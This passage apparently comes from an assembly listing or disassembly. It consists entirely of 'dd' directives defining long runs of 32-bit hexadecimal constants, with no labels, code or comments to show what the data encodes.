		dd 2560561Bh, 68AC472Eh, 62BDE925h, 8E66FF9Fh, 38D85651h
		dd 49350625h, 202C2E7Fh, 664AB963h, 2308EF1h, 0AEA24B78h
		dd 148B9D21h, 81A50568h, 0A9D96Bh, 7233102Dh, 9E67B017h
		dd 3CA4587Bh, 0E916AC0Bh, 17EF873h, 805AD588h, 0CF86DDE5h
		dd 7EFBE6E9h, 5A65F6D8h, 10AC8A8Dh, 5B27D899h, 0A9D78B62h
		dd 1E177723h, 97E0E825h, 6EBDC191h, 20704403h, 3C1242ECh
		dd 71FC57C7h, 41898B92h, 51A04513h, 34F23B40h, 22F11404h
		dd 0E7BC9D55h, 2F5A65E1h, 60537198h, 0FC667C8h,	2003711h
		dd 8708E6C1h, 0D6D1F7CEh, 48F0B808h, 0FB3B1F04h, 0C6290CC1h
		dd 4AE224E9h, 580115F9h, 2D07F0FAh, 2E47D406h, 10AC7A43h
		dd 182B8E10h, 3C0854F7h, 12278028h, 8237F580h, 30186043h
		dd 0EF08F76Ah, 0D018DE0Fh, 9D361065h, 10769110h, 161073D4h
		dd 64D51867h, 80E9BD08h, 28CF8287h, 637BB09Dh, 86BB106Bh
		dd 7DDF0818h, 0C67F3018h, 18231508h, 20B4DD20h,	4D31F2BBh
		dd 8C58088Dh, 938B2088h, 10221C0Ch, 18C6402Ch, 0A0DA80A8h
		dd 81787F80h, 0FBF9A0B0h, 9BA208C4h, 204E4106h,	8C18A31h
		dd 0A80287C5h, 9F6F8CA3h, 10242131h, 7015EC0h, 28088CBDh
		dd 63BF1855h, 6AE40802h, 31818920h, 80086F78h, 41EA01CBh
		dd 0CD102888h, 18A86615h, 0EE08B53Dh, 420C650h,	0A4889188h
		dd 81C80A13h, 4DAE0C63h, 9640E510h, 5F4340EBh, 8AA1D364h
		dd 8EAFA06h, 204E3131h,	88C7DB9h, 0BE18D286h, 62797840h
		dd 84F210D6h, 37B99A06h, 0C8119CA9h, 0F16C630Ch, 4410C65Dh
		dd 2920085Bh, 0E18F63EDh, 810A115h, 0F8180DFDh,	332C20E1h
		dd 809DA780h, 18C4FA77h, 700689E8h, 0D35410C9h,	1F6F46ECh
		dd 1862AC08h, 85563C0h,	182A039Fh, 1620E4BEh, 0A45620D8h
		dd 18016731h, 89F3DB6h,	8320E051h, 0E4722493h, 8C59838h
		dd 18C47BFBh, 0A409730Fh, 61D65C23h, 1AD30819h,	21B19B49h
		dd 0B1573769h, 0AB1CA1F9h, 69100D03h, 3319F4ADh, 892A108Dh
		dd 265BD5F9h, 4920C344h
		dd 72240849h, 84F6953Ch, 2A7F4110h, 0C820E4E5h,	325B2087h
		dd 54924720h, 63249813h, 955C10ECh, 933F0810h, 41E18331h
		dd 4408886Ah, 5AA0897h,	28E0430Ch, 20E0929Ah, 2231EB99h
		dd 2E810886h, 0A0602888h, 85E1808h, 92084E4Ch, 0C62528B7h
		dd 305F5908h, 0A081B82Ah, 0A118F663h, 74081068h, 0E9E310DAh
		dd 2ADE2410h, 2020F0EAh, 86592010h, 20966320h, 0EC31AC88h
		dd 536508B2h, 59402088h, 8E61008h, 0F7199E75h, 1C34F241h
		dd 0DF634026h, 0F1CE71C4h, 0FC9C6001h, 58A432E8h, 93EF0C0Dh
		dd 788B1E46h, 60ABE4C7h, 473B1043h, 20C752Ch, 0E8913EBh
		dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh,	8F55E38Bh
		dd 0F003DE41h, 0F715C3Bh, 0F01C033h, 85304FB1h,	7EE9AC2Ch
		dd 1E6FE3E1h, 0BFE30B42h, 7509F072h, 0FA65504Dh, 0A8DE30A4h
		dd 4E5C01Ch, 9DED800Bh,	9972F628h, 7705061Ch, 0E1E90C3Ah
		dd 1E938408h, 4C53D0F7h, 0C265B97Ah, 9E2ACC0Bh,	7A237D4Ch
		dd 2E6257C4h, 0C8F95B0Ch, 0FC52E3DAh, 3981FFACh, 41095FEFh
		dd 282CDB2Ch, 3D2EDE11h, 0CAFA08A0h, 0F8B9C44Bh, 0BE043488h
		dd 90EA10CDh, 6D1504D0h, 749729FEh, 0CCBA9785h,	0C0038CBh
		dd 0EE81596Bh, 6094ADF7h, 1988635h, 0ECE770EAh,	4352CB68h
		dd 0F411Bh, 0CF4740EAh,	0C5D4655Eh, 325E080Eh, 70C705FAh
		dd 0B86F02DBh, 60D53245h, 806BCD36h, 2F52BB68h,	0C7C0030h
		dd 6FE97A27h, 0A21AD8ACh, 1D00ADF1h, 0D9F720FFh, 0C001C183h
		dd 29F81716h, 0CD4E31A8h, 93E282Dh, 23602970h, 682F6527h
		dd 9D8C9451h, 0E92DE252h, 408A42F9h, 54875CEh, 0E8290ADFh
		dd 0B8071305h, 0AD070983h, 25B1F037h, 0E251023Ah, 0D1C72F8Ah
		dd 80008F65h, 0AA139730h, 97E97351h, 0C15DBC01h, 0E86131E1h
		dd 34C054EBh, 28BA5250h, 0C0382DA2h, 0C6311282h, 12AD87F1h
		dd 9EE1DFFEh, 582F2022h, 42B46817h, 178692B9h, 477F1293h
		dd 7C769B25h, 101EC010h, 0CF093178h, 0F5069CE9h, 5C5E5C1Ch
		dd 9EC960E8h, 3C23D208h, 0B063AF33h, 0CA27404Eh, 4EF48DD3h
		dd 0C5FAB31Ah, 59A163E9h, 48286F08h, 9219BBF3h,	97D56E5Ah
		dd 2DFA3C23h, 0C0D07D59h, 1CBD5551h, 5C7B3E71h,	8EE8C582h
		dd 7CFEA384h, 27A2874Eh, 46E7D59h, 0FFEB42B5h, 5A212523h
		dd 1754485h, 4B27BA64h,	2323683h, 6B070D10h, 27F81296h
		dd 1D44580Bh, 2800DD71h, 3A66B850h, 29330919h, 0FC898F12h
		dd 85F6FDA7h, 0A49AD378h, 3A9D3E97h, 0B6593693h, 0E7087D56h
		dd 9443A246h, 534808EFh, 1620B384h, 0E06F96F3h,	0AB4384A5h
		dd 404030CAh, 59D1975Bh, 5C22E905h, 89443BB7h, 39507253h
		dd 0FC02D788h, 5594E95Bh, 6CA46807h, 0DA64D8FBh, 4FCB10D3h
		dd 155A009h, 802B3177h,	28141EDBh, 2CA9C4E8h, 7361BFC9h
		dd 5381E492h, 9E564BEEh, 0CBC6D82Fh, 3996410Eh,	610D201h
		dd 0EE290D08h, 1700225Dh, 0D395B4E9h, 0C221EB44h, 4833DD9Fh
		dd 431DA04Fh, 0F447122Fh, 7E1D09E4h, 0A2A3075Dh, 776FA812h
		dd 8DD9289h, 0D607D1ABh, 0FC1B6C11h, 7C60895Ch,	17992330h
		dd 0BBC0DAD2h, 5685152h, 4C230AEBh, 0C8D1BB59h,	269A45DDh
		dd 0CE572966h, 0A5144BC7h, 515D000Ah, 95910123h, 7A7B8310h
		dd 8D99B5EEh, 0D8BE85Fh, 383BECBDh, 0FB4B6743h,	0B5A33227h
		dd 0B314011Dh, 86686606h, 0C704D378h, 0CB287DB1h, 8079A2ABh
		dd 80BBB652h, 88902EEh,	3BC9E9F3h, 0DCD7B749h, 2AEF1B4Eh
		dd 0EE1356F7h, 0C20534F5h, 5C930611h, 1117CC8h,	0A22EE4BFh
		dd 14E7D773h, 56F84712h, 8A8FF74Fh, 5381B65Ch, 0E1A6856h
		dd 1470333Ah, 615798A1h, 0B8BAA609h, 0AE11556Bh, 0DEAC2BC6h
		dd 93765D89h, 85E8608Ah, 0C5807D40h, 0FF5EF6A1h, 577C9AC2h
		dd 3D9182CEh, 0EFB1408h, 4E055D2Dh, 0FC3B8352h,	3360C1A9h
		dd 0BBF44E5Bh, 0AB984ACFh, 40DA4E71h, 16E76A48h, 0E835C671h
		dd 63D05A00h, 4B708347h, 0AD2CFBE5h, 32FA26E9h,	58C58FF8h
		dd 8EE8CDC7h, 0AE755189h, 0B111607Dh, 0B059644h, 7E45E42h
		dd 132D9A05h, 203CBB07h, 218720E9h, 0F4B8574Eh,	0A52E79F1h
		dd 4FACF80h, 0AE6434E9h, 0F7C52B33h, 2E7392A3h,	1635DA0Ch
		dd 0E515B85Ah, 0AC13CEFDh, 7B31EEF9h, 913FC1B3h, 7E638110h
		dd 4F49654h, 273F0FC7h,	0E203CEF8h, 7702D8Bh, 7E47F2B0h
		dd 7E3C782Fh, 6C9C836Dh, 0C043256h, 0C8F8B605h,	63665CC0h
		dd 29272FF9h, 8817350h,	0EC0E805Ah, 0E9281A43h,	0F75849F2h
		dd 1B0FDF69h, 0BBD1EA64h, 0A019A6D9h, 0C981C03Ah, 124BFB23h
		dd 7F2F2FB8h, 0E877DA42h, 8076B2C6h, 52137BBAh,	99034D1Eh
		dd 0F4E1AD87h, 42593EFCh, 3069F260h, 49BE7A37h,	802D7740h
		dd 0A1B69815h, 16651896h, 0EFA4C02Bh, 0FB485133h, 55292AB3h
		dd 698E769Dh, 90871C12h, 0FD0530F7h, 260AD522h,	0FE4766E9h
		dd 28CFB61Eh, 0BF13F4h,	0CCFE4D4Eh, 8E3CB551h, 28AB4B30h
		dd 5814E658h, 12955366h, 7DE93A29h, 259568C2h, 659E3E51h
		dd 0DE35018Bh, 63D4844Ch, 0D05EC1DFh, 0CA07472Dh, 10FD2C14h
		dd 64D04B77h, 0FD731708h, 426ACF7Fh, 7A85E06h, 3C875CA0h
		dd 80C9E7BEh, 4C9B4840h, 52EB4B81h, 0F7B5A07Ch,	0E2FDB5Ch
		dd 0BE8713A6h, 0D0296ECh, 0DDE769B6h, 0F705B9E0h, 0EA0FD07Ah
		dd 1770C2Dh, 0FABF6674h, 0EB77F47Bh, 0B0C28509h, 0EBF5E87h
		dd 30124FCBh, 7EC0EDF8h, 0F965F328h, 0B6300B0Bh, 7628DF0Ch
		dd 8C712508h, 0AD3453A5h, 13A1E146h, 0A968EE71h, 68125B0Bh
		dd 5B890970h, 0F49C720h, 0E96BA82Ah, 0BD014BB2h, 0D5D87D9Bh
		dd 0A759B34h, 48188F27h, 2C5C67A9h, 0D512A0h, 7FF455EAh
		dd 7296CE21h, 44240702h, 684810Bh, 0F4420F2Ch, 0D7078905h
		dd 0E4203416h, 898B9F4Bh, 90ED1F00h, 0C11743B4h, 0BBC0EB89h
		dd 12627F7Bh, 0FFDDF70Fh, 0F1D73AD3h, 34836FA9h, 3F9A65B4h
		dd 2DAC1E5Fh, 9777802h,	7A5D0116h, 8DE91852h, 0E8D17082h
		dd 0EEB83532h, 0AE35C17Bh, 4AD2E32Eh, 0BD1C74B8h, 0A24F38FEh
		dd 2A368514h, 9EBA9B00h, 900BB03Eh, 6D90133Dh, 414B52FBh
		dd 0E50E24Dh, 405CECFh,	0E940E40Bh, 4570E814h, 56416152h
		dd 0E36EE380h, 1012EED3h, 0F0A2DF31h, 0FDF20B92h, 5F0A815Fh
		dd 896A4429h, 7CFE016Eh, 6477955h, 1DA3228Fh, 801890FEh
		dd 4A1EE908h, 9F41AB50h, 34A67FC8h, 0F842FD40h,	0A131EA6Dh
		dd 0D52189ECh, 0CB2DB703h, 0AE00ED27h, 76C5121h, 0F06F30E9h
		dd 50E6C76Fh, 5629D12Fh, 8EF14D8h, 0E1303E58h, 644CE327h
		dd 78C22AFCh, 40FB4D86h, 0B554B48Ah, 0C6CF6B51h, 9FADE2C8h
		dd 554F1A70h, 9F7CC9B6h, 96DF89E2h, 2D6AFD7Fh, 0E42C6F82h
		dd 0B9725B7Eh, 9019699h, 43BC2AF7h, 0C11EAB04h,	63A168C5h
		dd 1AFC98h, 3558EA50h, 1B567AEDh, 0EA95C7FAh, 59A1CBBDh
		dd 0AD4EB062h, 2BFD1EA3h, 1B022F27h, 0A6E8C4E6h, 0DA585CBh
		dd 4562FA54h, 0B78F98C2h, 0BE09229h, 6883400Ah,	0C71100FFh
		dd 9030B978h, 6C34DE89h, 4EC80083h, 8296E945h, 810489ACh
		dd 0C44416F6h, 4C7F7C81h, 0F0CA3001h, 80E886D1h, 4101C225h
		dd 24935207h, 19DAAFEh,	0E6F26D57h, 9265DFBCh, 1C7BEC0Eh
		dd 575A332Eh, 86A09267h, 689479Dh, 0FA2635E9h, 45339580h
		dd 3EEF5BC0h, 0C244AC53h, 6436FB0Ch, 0EB45F140h, 9F9B980h
		dd 29635E4Fh, 2DC0A056h, 2166866h, 4F810528h, 8DD39BFh
		dd 46240776h, 15BE1220h
		dd 75270514h, 2430580Dh, 0F5CC263Bh, 68201275h,	0D634F853h
		dd 0AB2EA30Ch, 28B80CF1h, 2F0C4556h, 0D80B402Fh, 90EA03EAh
		dd 0CF09DB07h, 32E9FD12h, 0AEB66F80h, 0F1C64AFEh, 0B8D06BC6h
		dd 48FA1F9Ah, 0D50BB13Fh, 0CB02B671h, 0D9E62EE1h, 0DF00CEB0h
		dd 6850555Bh, 9010F98h,	842FE95Fh, 0BEC9A064h, 52BC40FFh
		dd 0C181F050h, 294CC582h, 573211Bh, 14E8ED06h, 81EC683Fh
		dd 0B9EF5E0Ah, 0AF19BF21h, 68B2C02Fh, 2FE11672h, 0AA9780F9h
		dd 9E5CD93Ch, 0A2D8A06h, 79712FF7h, 5C4EC44Fh, 0A388CBFh
		dd 5A16999Eh, 6758B3A3h, 0F5808400h, 0E9EE8898h, 5BA41220h
		dd 0AD08B159h, 3445C645h, 0BC16D375h, 0B681A429h, 41A1B7C2h
		dd 1AA024ADh, 0CEFD140Ah, 134F2082h, 0AC5A5E76h, 0EC61BBF5h
		dd 1458F330h, 0DB2C354Ch, 0EA180718h, 0E62B568h, 2A92D3Fh
		dd 8180E789h, 78994285h, 2E16B8CCh, 0ABF63F80h,	0CEF3881Eh
		dd 0EB125BADh, 0B65B90DEh, 0B2F71634h, 0BF68F540h, 7B52DC1Dh
		dd 0FEDE4B5Eh, 5A83C423h, 12A6B80Ch, 0F7B36129h, 0A85DC604h
		dd 2ABAC064h, 770B8547h, 0D4FDC9E9h, 5545E9D4h,	18657D9Eh
		dd 26192117h, 1A3609E7h, 3CD51A86h, 52DA88E9h, 68530966h
		dd 0FE713847h, 0C5463189h, 0E2C0D8Bh, 0C5DD0716h, 798EBA29h
		dd 0B6E99362h, 0D2010749h, 6897C96Ch, 91C3D438h, 0E75694B8h
		dd 5B106310h, 0BE9322B3h, 5A126F88h, 207DF595h,	0D5649D59h
		dd 63C1E5F7h, 5E6B13BCh, 54A74158h, 70564C45h, 0F7813B19h
		dd 1C988A4h, 7E31FCE3h,	0FAA56B41h, 0D050047h, 0FEE92BC0h
		dd 0BD32C044h, 21CF51BCh, 0FF61F0B8h, 5EF52903h, 623C63Eh
		dd 3E919EC5h, 0B9D32FA8h, 0AA683C60h, 0EF4AA778h, 36BFD700h
		dd 7B02B154h, 8E5E47h, 2A972DA8h, 14ADA60h, 79B87D42h
		dd 8CE17DF5h, 4FEF05CCh, 0FF58A26Ah, 0E8264DEDh, 9A0BF4DEh
		dd 6CE1079h, 9D2F7843h,	0D481C849h, 835C300Ch, 0BC5B1071h
		dd 0C087B505h, 2857C3E5h, 0EF0701EAh, 6E1F5721h, 0C7282D2Ch
		dd 95AE9D08h, 214BF454h, 79A6A593h, 0A6C72E97h,	8995AA05h
		dd 0E90C70B6h, 5C3844D0h, 3FC4C59Fh, 87E906A4h,	2680E1D0h
		dd 8CF706B4h, 620F111h,	4089B8F6h, 565E51C5h, 5BDA35E6h
		dd 0D6086E57h, 0B352B8C6h, 0D71888BBh, 0E3C1001Fh, 62F38108h
		dd 0C48BD7Bh, 239F1E13h, 71E65D8h, 0C7CB4B87h, 2F24F33h
		dd 0A90DFF4Bh, 519D6D60h, 4262D004h, 0F2F0DAF7h, 4C0273C2h
		dd 0F6801B33h, 0DB09FC70h, 0CAB14195h, 0D9F5A52Bh, 0FCC64449h
		dd 1A28B183h, 1436D82Bh, 62E7D3BDh, 5B02F2B9h, 0EA83FF41h
		dd 17B3D659h, 222683F1h, 8A267CBFh, 0A64424C9h,	1254F83h
		dd 6D19DA0Ch, 30CF0115h, 8D82F5E1h, 0B3345E2Ah,	76732668h
		dd 58576229h, 0D68E9FC1h, 5E041E7Dh, 0E9A8285Fh, 133AD926h
		dd 69AED568h, 0F5079BC2h, 7D625EEh, 3A8DBD06h, 86B701D4h
		dd 0EF80DFF6h, 0AFE7CC05h, 5EE910C3h, 0A1224E33h, 0B0B240EFh
		dd 20ED290Ah, 9256F9Ch,	29B5432h, 2B041861h, 8009FF62h
		dd 0B026C57Dh, 86907B46h, 6857EB05h, 0B9B343C7h, 0D034ED16h
		dd 0E5605108h, 0EFF01E5Ah, 1E91B2A9h, 0D4D6D8B9h, 8338D080h
		dd 3BE8962Ch, 0AC7A5F4Ch, 0BFF16990h, 5DCC3B80h, 5A954CE2h
		dd 96088253h, 0C368160Ah, 2C4FB927h, 0C84EB60Eh, 2D9D20A3h
		dd 5CBB923Eh, 0F8A33ADAh, 3C894CBAh, 13E12A2Ah,	3030697h
		dd 0F28106C7h, 15C5BCD0h, 0DF883CBCh, 58962894h, 5D192102h
		dd 3F6955D2h, 0FD5C9609h, 9D72E910h, 3CED7FC0h,	9CAF5BDBh
		dd 451267h, 94A9AA9h, 0D5572169h, 52B46D70h, 7827D83Fh
		dd 0F265CF04h, 15A5E801h, 0BF00BBD5h, 0D095BF1h, 7DD7311Ch
		dd 0A8946B96h, 0B510DC24h, 45AD25h, 1A02214Ah, 67EC1Bh
		dd 31B8627Fh, 22598EB5h, 873AE61Ch, 0D7092AE3h,	9ABF5AC5h
		dd 0DF0AB4C8h, 18B59214h, 8502EFB8h, 0C993592Fh, 0C2901446h
		dd 68017AB4h, 50E8393Ah, 951126E8h, 7F0CE322h, 0E9C176FCh
		dd 0AA05FBEAh, 40807C97h, 0FC580997h, 3C43690Dh, 7E5CE882h
		dd 0BDC7C890h, 89BA0F14h, 2C8B85BFh, 0D41DABFh,	9B154AE9h
		dd 5A83F63Eh, 8B3BCF29h, 80D717DEh, 0ADEFF2DDh,	0A67AA9F1h
		dd 0F3BCD689h, 1CB5F9B5h, 1C67014Dh, 90E620BEh,	0E1C1490Ah
		dd 0E128BF05h, 0F655790Eh, 203DF21h, 4167C33h, 5F35370Ch
		dd 24DE814Bh, 44BB7108h, 7A5181DCh, 1E73701Fh, 0C5093097h
		dd 0BD558023h, 0E257FC00h, 68CD8179h, 0DC1C4826h, 3B4AF610h
		dd 99E412C3h, 0C1817AB2h, 70173D0Bh, 4A4E2525h,	8086FAB2h
		dd 0FD20D579h, 33AC5CF7h, 1754BC2Dh, 0F5BB5360h, 8AAF500Fh
		dd 0E9C4C45Ch, 8073F039h, 843FCC39h, 0E4C0DEF4h, 0DFC4BBC1h
		dd 758E7C0h, 0D6F6F786h, 0FE4D4E30h, 0DEAD2F08h, 0B98ABA40h
		dd 0E9020215h, 4C61C3Fh, 68525300h, 25110DD2h, 14C8BA5Ah
		dd 0A1484909h, 0DA9D173Dh, 0FE68176h, 0BF5B8D3Ch, 0A2680B0Ch
		dd 24AD807h, 0E271D31Bh, 5EC1F221h, 5AF5BCADh, 0D02F7FB9h
		dd 35010C7Ch, 268B42E4h, 5A71C9FDh, 932FBD75h, 0F705F2AAh
		dd 524D02BEh, 0E1DEB5C2h, 0F36BEBC2h, 47BBC18Ah, 12207111h
		dd 2D3CF2BEh, 12C0294Ah, 0ED962716h, 0A7B85569h, 46242D08h
		dd 61ABF7Dh, 0AD66550Dh, 0B512F899h, 0C1FE90C0h, 0B6520E66h
		dd 78C38096h, 0E9ABF128h, 5A60EFADh, 4E59CA88h,	3A4DA804h
		dd 0E91F632Ch, 7CDF63Ch, 0D44DFCF7h, 26E76334h,	3F7EF1F9h
		dd 3E57AE90h, 0AA38481Eh, 6E8C5B3Ah, 689C890Ch,	823CCD2Bh
		dd 34082A00h, 4BA5E948h, 82FFE455h, 785E58F6h, 0AC2A4EA1h
		dd 99CE650Ah, 4AEDCABEh, 412E3AB1h, 0AB5FE2FCh,	14703239h
		dd 12810B21h, 3F8CFB29h, 407F9056h, 0CE25682Eh,	0A0A89819h
		dd 0C80B7129h, 3B250140h, 1C2FE975h, 32621AAFh,	0F6109C41h
		dd 0FFE3725Ch, 2DBA6130h, 0E55BF380h, 0D643CEDDh, 0B450D100h
		dd 88536607h, 904CB8E7h, 0B7B8249Fh, 0EA8750DFh, 276367FAh
		dd 95E88839h, 74BB2DEEh, 0FD4B96CEh, 8E6AC3CDh,	3CBE4B69h
		dd 739B5C4Bh, 8DFC9292h, 0CD63E25Fh, 13F1D84h, 0E51E7EFh
		dd 0CDECA001h, 103C8577h, 0E90F655h, 0E95D0880h, 230F5727h
		dd 0C012AB39h, 0CCD8962h, 56096859h, 1A9C337Dh,	72987727h
		dd 1402AB7h, 35744FC4h,	5321FA98h, 40205457h, 0AC725E70h
		dd 70FDE274h, 57553B21h, 19F08899h, 0C26A401Ah,	0FE3B5DADh
		dd 0A8EA0073h, 193ABA2h, 0E96BC4D1h, 0E5BC55h, 0EB73ADBAh
		dd 0B7D38970h, 19DFC7E0h, 0F72DB30Bh, 66B80D5h,	1C6821CFh
		dd 3852A8E9h, 7D2DEF4Eh, 1094B62Bh, 4F4DECD3h, 0A8B37A78h
		dd 9505E689h, 0CE07845Ah, 33A84BF4h, 0F941F660h, 0E90CC140h
		dd 602A2B82h, 0D55E3D90h, 5B382339h, 48E95309h,	2E505AE1h
		dd 929FB0EDh, 0E46484CBh, 3918F87Ah, 3772568Bh,	0E8EF2754h
		dd 0EB698E0Eh, 95B3B16h, 0C028DE8h, 2137FF7Dh, 0C94DE5F5h
		dd 0AAFBA27Dh, 5FB68424h, 7A5ECBBBh, 7A9DC306h,	68F633D8h
		dd 7CA495Ah, 0B337D763h, 1701BA86h, 413917C5h, 0CF540175h
		dd 2CE9080Fh, 6B5C261Bh, 401C9A52h, 0B683E910h,	179FC5Fh
		dd 0C6349420h, 7E5CEA01h, 0B8501651h, 6547005Ch, 0E835AF2Dh
		dd 34A0265Bh, 0A7F14BE2h, 2C327B49h, 0DD5DF014h, 47C12D20h
		dd 8AC11229h, 2EED3B9Dh, 48CE0C80h, 0D7F743C3h,	68555100h
		dd 4B3C4C3Fh, 9E5632E9h, 0D5C15A50h, 0CE407FEDh, 21A520C9h
		dd 0CC699D29h, 7B2FFB59h
		dd 2CCF7299h, 1E03E2F5h, 9E8AC94Ah, 0BB7DB1F5h,	7A356CF2h
		dd 4C8C275Dh, 732FF4h, 1EF96827h, 64E9034Bh, 28E23E60h
		dd 4CEA80FAh, 16109279h, 0F45E2D87h, 3E6EE064h,	0C89D6DEFh
		dd 12537209h, 0B35D2941h, 2FEF4100h, 0E98229F6h, 3CC43311h
		dd 0FD358801h, 43CABD57h, 2FE93B60h, 3D54E8B6h,	0D99583F2h
		dd 0C70F1C46h, 96229E80h, 141D53F8h, 30022ACCh,	5F4B736Bh
		dd 555A0074h, 0FD020229h, 31044D2Eh, 0CF0718ADh, 0E55F2D03h
		dd 0ABCED440h, 8D68C3C0h, 609B9D26h, 9702AA83h,	75629CBBh
		dd 1EC85D1Dh, 9409057Eh, 42A7E97Bh, 5058DE24h, 0E3C0B13Dh
		dd 0F012BBC5h, 0D3EEC031h, 0E91EFD4Ch, 5E3E6CF7h, 26D326E6h
		dd 589D971Eh, 163F3049h, 55AD736h, 6C7BB001h, 2DF8290Eh
		dd 685F0742h, 5CB227B4h, 5C0E7534h, 17F103Fh, 7D06E8F7h
		dd 0B287203Ch, 83BDB3C9h, 0DB610F34h, 68BFE9Bh,	9A2627CBh
		dd 0B40F0C74h, 8F606F21h, 0BB4A80E3h, 4DA9E936h, 0E83BA6FCh
		dd 0E822D096h, 0FA42C45Ah, 0BD32EFFh, 0FF29E95Ch, 4CC0DBAEh
		dd 5A6E053Fh, 30406597h, 53190B0h, 64D7C2Ch, 8BD44A25h
		dd 65BE0CBAh, 4E88B8C2h, 131FCE2h, 48570B80h, 1CA0DA01h
		dd 141CD008h, 293EDD41h, 2DFAC271h, 0DCD5E92Ah,	7D41BA07h
		dd 0AA21C0Dh, 2788C688h, 60185A54h, 68075156h, 5E905979h
		dd 0F4AF4934h, 8E0EE905h, 0CA758A2Fh, 0CB2481F1h, 86295C27h
		dd 0A0595AD6h, 9D2AD40Bh, 1502FD61h, 6274B79Eh,	147E3688h
		dd 0D704F45Eh, 0AA2F0242h, 0B2F59FC7h, 2D6847A0h, 325B07C2h
		dd 7571B25h, 0DA71143Ch, 7C25E82Eh, 56F4259Ch, 9A26E950h
		dd 52570126h, 8039F268h, 7786300Eh, 0A3012924h,	0EBF862h
		dd 73726BBh, 0D97C197Fh, 280EFF5Ah, 0A069CBADh,	1B1125DFh
		dd 2D5F0053h, 375CCA1Ch, 304E1968h, 52E2C824h, 6005889h
		dd 0F51BB90Fh, 0E96F019Dh, 0F792079Ah, 6950AB81h, 499A4EDFh
		dd 4D61492Dh, 0B316758h, 84505954h, 0D4D9ED4Ah,	804F81E4h
		dd 711EF4BAh, 4D884356h, 6B680970h, 86BF465Dh, 50C327A3h
		dd 8F0993D3h, 0E3C310EAh, 3BA5006Eh, 57B4CD81h,	0F984FCCh
		dd 6158D918h, 2C6EE5FCh, 8C9977Eh, 5303B137h, 90EE8852h
		dd 0EC515AF7h, 0A67FF1F9h, 0CE5B3FB3h, 0E9E192F8h, 1DF3468h
		dd 0DC8CC25Ah, 0B9144B87h, 0A4B5C9C4h, 6AB85EABh, 44895B1h
		dd 28BC9480h, 264D7BBFh, 640B5634h, 0CD718257h,	0EE0600D2h
		dd 44A766C2h, 6BB41E0Ch, 0C6010B67h, 56013516h,	1A5B2568h
		dd 0CF305E43h, 0CB0C00B3h, 8FF38157h, 2B0A4F64h, 0D884DAE9h
		dd 0A87961B3h, 0CA8BF731h, 0AFCA02C7h, 0C4C89014h, 0A0DD255Fh
		dd 193CBD26h, 339947Ch,	0D17D3218h, 80122B6h, 22E7BE56h
		dd 6C302768h, 692129Ah,	106FBC28h, 0C14AFE30h, 0E9C72954h
		dd 887474A1h, 51914B8h,	10A305Bh, 2C72FF9h, 5EC7BF1Ch
		dd 53E12AEDh, 710DA5C3h, 9E05C91Ch, 0E61FF1C2h,	58094FD1h
		dd 0B7479452h, 5327E85Ah, 0FCAA1CF3h, 4C386C9Ch, 6F24D3F0h
		dd 0C5004982h, 4AE75F1Dh, 1CA0ED29h, 141CD008h,	31A03C5Ch
		dd 93A5DE9h, 623E27CBh,	0D857514h, 7CF12D5Eh, 267F844Fh
		dd 206BF07h, 7D613EB8h,	20077523h, 59BE8797h, 7EB35301h
		dd 67E8DD88h, 122D21Fh,	7A430969h, 3614202Bh, 68125A07h
		dd 0DBA20CBEh, 6F0D4B8h, 0A91046E9h, 0CAAAE0BFh, 606B7D02h
		dd 4E580C39h, 0F2F864E5h, 0B0EE5D04h, 48B401E6h, 82632CADh
		dd 0AC7D1FA6h, 0EE1CB584h, 6C82E825h, 0C36CCAF6h, 579B821h
		dd 97D1B701h, 0FEA0B060h, 0D261E3C0h, 8EEC99E1h, 0E5C55030h
		dd 0E29E49B2h, 0F9E85E79h, 228C167Bh, 551B36FEh, 25D14D9Dh
		dd 878F3977h, 0ADD30805h, 0AC9801Eh, 3FC75D51h,	5A30B12Fh
		dd 5CBAC27Bh, 0D3748B7Ch, 969AFA3Dh, 831EE917h,	0B2075A68h
		dd 291F3E3Ch, 640235C2h, 27FB0097h, 53564844h, 5B144E68h
		dd 4CEA77B9h, 0B126606Fh, 73C9802Fh, 26E11D94h,	516684FEh
		dd 360CFBF6h, 0FEC61E59h, 88182DF1h, 0B9221C07h, 50312071h
		dd 6600C41Fh, 4774A0BAh, 50789276h, 584BF766h, 0ECE91314h
		dd 0ABA627DFh, 25BE4A5Ch, 40FC6212h, 271AC517h,	3800716Fh
		dd 2D6D6850h, 0EE3818BDh, 0C818BC55h, 304B0083h, 4F3522ACh
		dd 760B0BD3h, 0F5353037h, 67712F65h, 7D2861FEh,	0B30E3A05h
		dd 0BC4E91Fh, 0D22AA6FFh, 3A497DEFh, 60A5DBE8h,	6855522Fh
		dd 3F62E109h, 4216C0Ah,	0C83E28F5h, 3918C037h, 0C22C08A3h
		dd 4433DA89h, 6AF4319Ah, 0F975910Ch, 900A6C60h,	0BAA610C3h
		dd 6F896802h, 67C21479h, 8A85D37Fh, 82B7D1E9h, 812CC828h
		dd 0D616FEF6h, 67795AA8h, 74E2E31Fh, 3BB3FA3Ah,	0E87F844Ah
		dd 2201D3ECh, 3D193ACBh, 4071A82Eh, 1CBD5908h, 0A71453AFh
		dd 90E4E983h, 0A5FC514h, 9B3C2BDh, 359261FEh, 0EFE0E47Eh
		dd 0A72D70Fh, 0C2B96403h, 601F8DBBh, 3D5CC3F4h,	0EE74809h
		dd 0A74570AFh, 0DD0968F5h, 7426784Ch, 0DB24A858h, 95786202h
		dd 1156000Dh, 46C24327h, 0C03A4FBFh, 8AC22BCFh,	2A39E6DDh
		dd 7BF2D4F1h, 0CA7003BAh, 4223E91Eh, 3206D111h,	6978FF58h
		dd 92FD8B5Ch, 0BDBBF16Fh, 4F18ECE8h, 548F19D7h,	0B88D5027h
		dd 5D7E28C6h, 0D16D03B5h, 23820EBh, 1E08589Dh, 0DF6AB753h
		dd 89F9E4FFh, 0A10A80E0h, 35E94AF3h, 0C5CB4F0Ah, 0F41F07C5h
		dd 4E03E779h, 0F6815553h, 0B30D5CE3h, 7213210h,	7C35E0D1h
		dd 0E1523E12h, 38015C2Eh, 0DFB02BC1h, 0F5479DE3h, 0F51D9E9Ah
		dd 0EF80B101h, 0E4C57E48h, 0FE3C8919h, 2ADBE00h, 5C06FA2Ch
		dd 0D0462602h, 97ABF53Dh, 0FD128501h, 9EA43B49h, 4C092F30h
		dd 8D62C100h, 5E959133h, 7A5BE34Ah, 6858AA05h, 31AE021Ah
		dd 78BAC0h, 9DB3AAE9h, 0BC277EE6h, 2D20C671h, 6F7C2DDAh
		dd 0C6E0171h, 45C4EA05h, 0C981DCFDh, 82A480Dh, 4DEC0C2Fh
